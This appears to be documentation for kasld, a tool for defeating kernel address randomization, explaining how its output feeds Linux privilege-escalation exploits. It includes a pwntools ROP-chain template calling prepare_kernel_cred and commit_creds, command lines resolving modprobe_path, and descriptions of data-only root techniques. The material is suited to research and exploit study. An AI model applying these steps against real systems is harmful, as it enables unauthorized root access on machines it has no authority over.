Defeating KASLR in a kernel exploit
August 1, 2026 · View on GitHub
A kernel exploit runs against a randomized kernel. KASLR places the kernel
image — and, on some architectures, the direct map — at a boot-chosen offset, so
every kernel address the exploit needs (a function to call, a global to
overwrite, a ROP gadget) sits at an unknown runtime location. Defeating KASLR
is the step that recovers that offset: it turns an address from an unrandomized
source (System.map, a debug vmlinux, a /proc/kallsyms snapshot) into the
one the running kernel actually uses.
kasld performs that step from an unprivileged local process — the attacker
identity it models. It recovers the kernel image base and KASLR slide, and, where
they are randomized independently, the direct-map base. It is a derandomization
tool, not the exploit itself: it supplies the layout an exploit re-bases against,
not the memory-corruption primitive that does the writing, and not the addresses
of per-task heap objects. This document covers where that step fits in an exploit
and how kasld's output feeds the two dominant strategies — control-flow reuse
and data-only.
Table of Contents
- Where it fits in the chain
- The layout
kasldhands you - From a base to runtime addresses
- Control-flow reuse
- Data-only
- References
Where it fits in the chain
The recovered base makes every image address usable; from there the exploit re-bases the addresses it needs and drives them with its own primitive:
kasld runs on the target host: it derandomizes the running kernel, so the
vmlinux / System.map used to resolve symbols must be for that exact build. The
template below assumes the exploit already has code execution on the target and a
corruption primitive; kasld fills in where the kernel is.
The layout kasld hands you
--json (-j) emits the stable machine-readable surface (text and verbose modes
are human-only):
| Field | Type | Meaning |
|---|---|---|
kaslr.virtual.image_base | hex string | Recovered kernel image base (_text) |
kaslr.virtual.slide_bytes | integer | KASLR slide (runtime − default) |
kaslr.memory_kaslr.virt_page_offset_base | object (min/max/slots/entropy_bits) | Direct-map base (page_offset_base) window — translates physical↔virtual; randomized independently of text on x86_64 / arm64 / riscv64 / s390 |
kaslr.memory_kaslr.virt_vmalloc_base | object (min/max/slots/entropy_bits) | vmalloc-region base — modules, BPF JIT, kernel stacks |
kaslr.memory_kaslr.virt_vmemmap_base | object (min/max/slots/entropy_bits) | vmemmap base (struct page array) — maps a physical page to its struct page (page-table attacks) |
kaslr.disabled | bool | True when KASLR is opted out (nokaslr / CONFIG_RANDOMIZE_BASE=n / hibernation) or unsupported by the arch. Not set if the boot stub attempted KASLR but failed to apply a random offset — the kernel is then relocated to a firmware-determined position (see KASLR runtime states) |
arch | string | Canonical arch name (x86_64, aarch64, …) |
kasld emits layout — these bases and the slide — not resolved symbol
addresses: it is build-agnostic and never sources a vmlinux / System.map or
trusts a version string. Turning the slide into a specific symbol's runtime
address is ksymoff's job (below), with a symbol source you supply.
From a base to runtime addresses
The whole kernel image relocates by a single slide, so one leaked kernel pointer
fixes every address in it: add the slide to any symbol from an unrandomized source
to get its runtime address. This holds for functions and global data alike —
.text, .data, and .bss all move together — which is what lets both
strategies below work from the same recovered base. Offsets to useful symbols can
be pre-computed on another machine running the same kernel build (trivial for
public distro kernels).
pwntools applies the slide with ELF.address = image_base (see the
control-flow template). Without pwntools, the bundled
extra/ksymoff resolves symbols against a System.map, a
/proc/kallsyms snapshot, or a debug vmlinux (symbols via nm / readelf; a
stripped distro vmlinux has no symbol table). The default base is taken from
_text in the symbol source. It has three modes:
Forward — base → symbols
Given a runtime text base (from a KASLD run) and a symbol source, print runtime addresses for one or more symbols, or for every symbol in the source when no symbols are listed.
# Explicit base + System.map
./extra/ksymoff -b 0xffffffff82200000 -s System.map commit_creds
ffffffff82276cb0 T commit_creds
# Multiple symbols at once
./extra/ksymoff -b 0xffffffff82200000 -s vmlinux \
commit_creds prepare_kernel_cred init_cred
# Pipe directly from KASLD --oneline (reads the `text=` field)
./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map commit_creds
# Dump every symbol with the slide applied
./extra/ksymoff -b 0xffffffff82200000 -s System.map | head
Inverse — known symbol → base
Given any one known runtime symbol address (e.g. via a UAF read,
infoleak, or side channel that returned a recognizable pointer),
derive the runtime text base. Useful when the leak points at a
specific symbol rather than at _text itself.
# Derive the runtime text base from a single known address
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map
0xffffffff82200000
# Combine with positional symbols: one leak yields many
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s vmlinux \
prepare_kernel_cred init_cred modprobe_path
--slide — just the offset
Print the signed slide instead of resolved addresses. Combines with either mode.
./extra/ksymoff -b 0xffffffff82200000 -s System.map --slide
+0x1200000
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map --slide
+0x1200000
Run ./extra/ksymoff --help for the full reference. Beyond symbols, ksymoff
also translates physical↔virtual through the direct map (--phys2virt /
--virt2phys / --phys2page), which data-only pivots use.
FG-KASLR (function-granular KASLR) reorders functions independently and breaks the single-slide assumption — see docs/kaslr.md §FG-KASLR.
With runtime addresses in hand, an exploit uses them one of two ways.
Control-flow reuse
The classic chain hijacks control flow to call kernel functions — e.g.
prepare_kernel_cred(0) then commit_creds() to give the current task full
privileges — with a ROP/JOP payload driven by a corruption primitive (a stack
overflow, a corrupted function pointer, …):
#!/usr/bin/env python3
import json, subprocess, sys
from pwn import *
# Leak kernel base with KASLD
result = subprocess.run(
[
"./build/x86_64-linux-gnu/kasld",
"--json",
"--fast",
"--quiet"
],
capture_output=True,
text=True
)
data = json.loads(result.stdout)
context.arch = {"x86_64": "amd64"}.get(data["arch"], data["arch"])
kaslr = data["kaslr"].get("virtual")
if not kaslr:
log.failure("kasld did not find the kernel text base")
sys.exit(1)
image_base = int(kaslr["image_base"], 16)
slide = int(kaslr["slide_bytes"])
log.success(f"kernel text base: {hex(image_base)} (slide +{hex(slide)})")
# Resolve runtime addresses via vmlinux symbol table
vmlinux = ELF("vmlinux", checksec=False)
vmlinux.address = image_base
commit_creds = vmlinux.symbols["commit_creds"]
prepare_kernel_cred = vmlinux.symbols["prepare_kernel_cred"]
log.info(f"commit_creds: {hex(commit_creds)}")
log.info(f"prepare_kernel_cred: {hex(prepare_kernel_cred)}")
# Build ROP chain
rop = ROP(vmlinux)
rop.call(prepare_kernel_cred, [0])
# move rax -> rdi here with a target-specific gadget
# rop.raw(rop.find_gadget(["mov rdi, rax", "ret"]).address)
rop.call(commit_creds)
payload = flat(rop.chain())
This needs the text base to locate functions and gadgets. On kernels hardened with forward-edge Control-Flow Integrity (kCFI, or FineIBT on x86) and shadow stacks (arm64 Shadow Call Stack, x86 CET), a corrupted return address or indirect-call target is validated and rejected, so ROP/JOP is often infeasible — which is why data-only attacks have become the common path.
Data-only
Data-only attacks corrupt kernel data without diverting control flow, so CFI and shadow stacks do not apply — the reason they have become the common path (the foundational result is that non-control-data attacks are Turing-complete, Data-Oriented Programming). What they need from KASLR-defeat splits by which part of the layout carries the target.
Global targets — kasld resolves them directly. Writable kernel globals live
in the image, so they re-base by the slide exactly like a function, and one
kasld run plus ksymoff yields their runtime address:
-
Usermode-helper strings —
modprobe_path,core_pattern,poweroff_cmd. Overwrite the string to point at an attacker-controlled script and trigger the helper (formodprobe_path, execute a file with unknown magic); it runs as root:./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map modprobe_path -
init_cred— a globalstruct credwith full capabilities. Pointing a task'scred/real_credat it is instant root with no cred crafting, andkasldgives its runtime address from the slide like any symbol. -
Policy globals — LSM enforcement flags,
sysctltables, and similar switches.
Heap and physical targets — kasld's non-text bases are the enabler. These
sit in the heap or in physical memory, not the image, so the slide does not locate
them; the direct-map and vmemmap bases kasld also recovers are what make a leaked
pointer usable:
-
Credential overwrite — zero the
uid/gid/capsof the current task'sstruct cred. Needs the heap address ofcurrent->cred(from a leak); the direct-map base turns a leaked physical or direct-map pointer into a writable virtual address. -
Object swap — DirtyCred reclaims a freed low-privileged
cred/fileas a privileged one, sidestepping the field overwrite entirely. -
Page-table corruption — cross-cache / SLUBStick and Dirty Pagetable overwrite PTEs for arbitrary physical read/write. They translate physical↔virtual through the direct-map base and locate
struct pagethrough the vmemmap base — bothkasldoutputs (and on decoupled arches the direct map is randomized independently of text, sokasldresolves it separately).ksymoffperforms those translations directly:kasld -1 2>/dev/null | ./extra/ksymoff --phys2virt 0x34600000 # phys -> direct-map virt ./extra/ksymoff --vmemmap <base> --phys2page 0x34600000 # phys -> struct pageSee also Side-channels (SLUBStick, cross-cache) and Arbitrary read.
kasld supplies layout: the slid image (any global symbol) plus the direct-map
and vmemmap bases (physical↔virtual, struct page). It does not locate a
specific per-task heap object such as a cred or task_struct — that still needs
a leak, which the recovered bases then make usable.
References
| Topic | Reference |
|---|---|
| Non-control-data attacks (foundation) | Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks (Hu, Shinde, Adrian, Chua, Saxena & Liang, IEEE S&P 2016) |
Usermode-helper globals (modprobe_path, core_pattern) | Like techniques: modprobe_path (sam4k) |
Credential object swap (cred / file) | DirtyCred: Escalating Privilege in Linux Kernel (Lin, Wu & Xing, ACM CCS 2022) — PoC |
| Page-table corruption → arbitrary physical R/W | Dirty Pagetable (Nicolas Wu, 2023) |
| Forward-edge CFI (x86 hardware) | FineIBT: Fine-grain Control-flow Enforcement with Indirect Branch Tracking (Gaidis, Moreira & Kemerlis, RAID 2023) |
| Kernel control-flow integrity (kCFI) | Control Flow Integrity in the Linux kernel (Kees Cook, 2020) |